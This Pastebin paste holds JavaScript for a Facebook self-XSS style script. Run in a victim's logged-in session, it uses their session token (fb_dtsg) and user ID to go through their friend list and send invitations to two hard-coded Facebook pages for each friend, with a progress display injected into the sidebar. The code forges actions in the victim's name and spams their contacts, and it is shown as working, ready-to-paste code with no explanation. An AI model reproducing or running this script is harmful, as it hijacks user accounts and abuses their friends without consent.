Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function InviteFriends(opo) {
- jx.load(window.location.protocol + "//www.facebook.com//ajax/typeahead/first_degree.php?uid=" + opo + "&unref=bd_friends_tab&nctr[_mod]=pagelet_timeline_app_collection_" + user_id + "%3A2356318349%3A2&__user=" + user_id + "&__a=1&__dyn=7n8ahyj2qmp5zpQ9UmWWaUGyxi9Ay8&__req=i&fb_dtsg=" + fb_dtsg + "&ttstamp=265816884971127865", function (a) {
- var b = a.substring(a.indexOf("{"));
- var c = JSON.parse(b);
- i--;
- Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
- if (c.error) {
- Descriptions += "color:darkgreen'>";
- err++;
- if (c.errorDescription) Descriptions += c.errorDescription;
- else Descriptions += JSON.stringify(c, null, "")
- } else {
- Descriptions += "color:darkgreen'>";
- Descriptions += arn[i] + " ";
- suc++
- }
- Descriptions += "</div>";
- var display = "";
- display += "";
- if (i > 0) {
- display += arr.length + "<br/>";
- display += "<b>" + (arr.length - i) + " Processed ";
- display += "(" + i + " Lefted...)";
- display += "";
- display += Descriptions;
- display += "";
- display += "";
- display += " " + arn[i] + ".</br>";
- display += _text;
- display += "</div>";
- display += "</div>";
- window[tag + "_close"] = true
- } else {
- Title = "";
- display += arr.length + " ";
- display += "<div>";
- display += "";
- display += _text;
- display += "</div>";
- window[tag + "_close"] = false
- }
- display += "</div>";
- document.getElementById("pagelet_sidebar").innerHTML = display
- }, "text", "post");
- tay--;
- if (tay > 0) {
- var s = arr[tay];
- setTimeout("InviteFriends(" + s + ")", 100)
- }
- console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
- if (user_id) jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg + "&profileChooserItems=%7B%22" + opo + "%22%3A1%7D&checkableitems[0]=" + opo + "&page_id=226344357522802&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=", function () {}, "text", "post");
- if (user_id) jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg + "&profileChooserItems=%7B%22" + opo + "%22%3A1%7D&checkableitems[0]=" + opo + "&page_id=316901925002319&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=", function () {}, "text", "post");
- }
- jx = {
- b: function () {
- var b = !1;
- if ("undefined" != typeof ActiveXObject) try {
- b = new ActiveXObject("Msxml2.XMLHTTP")
- } catch (c) {
- try {
- b = new ActiveXObject("Microsoft.XMLHTTP")
- } catch (a) {
- b = !1
- }
- } else if (window.XMLHttpRequest) try {
- b = new XMLHttpRequest
- } catch (h) {
- b = !1
- }
- return b
- },
- load: function (b, c, a, h, g) {
- var e = this.d();
- if (e && b) {
- e.overrideMimeType && e.overrideMimeType("text/xml");
- h || (h = "GET");
- a || (a = "text");
- g || (g = {});
- a = a.toLowerCase();
- h = h.toUpperCase();
- b += b.indexOf("?") + 1 ? "&" : "?";
- var k = null;
- "POST" == h && (k = b.split("?"), b = k[0], k = k[1]);
- e.open(h, b, !0);
- e.onreadystatechange = g.c ? function () {
- g.c(e)
- } : function () {
- if (4 == e.readyState)
- if (200 == e.status) {
- var b = "";
- e.responseText && (b = e.responseText);
- "j" == a.charAt(0) ? (b = b.replace(/[\n\r]/g, ""), b = eval("(" + b + ")")) : "x" == a.charAt(0) && (b = e.responseXML);
- c && c(b)
- } else g.f && document.getElementsByTagName("body")[0].removeChild(g.f), g.e && (document.getElementById(g.e).style.display = "none"), error && error(e.status)
- };
- e.send(k)
- }
- },
- d: function () {
- return this.b()
- }
- };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement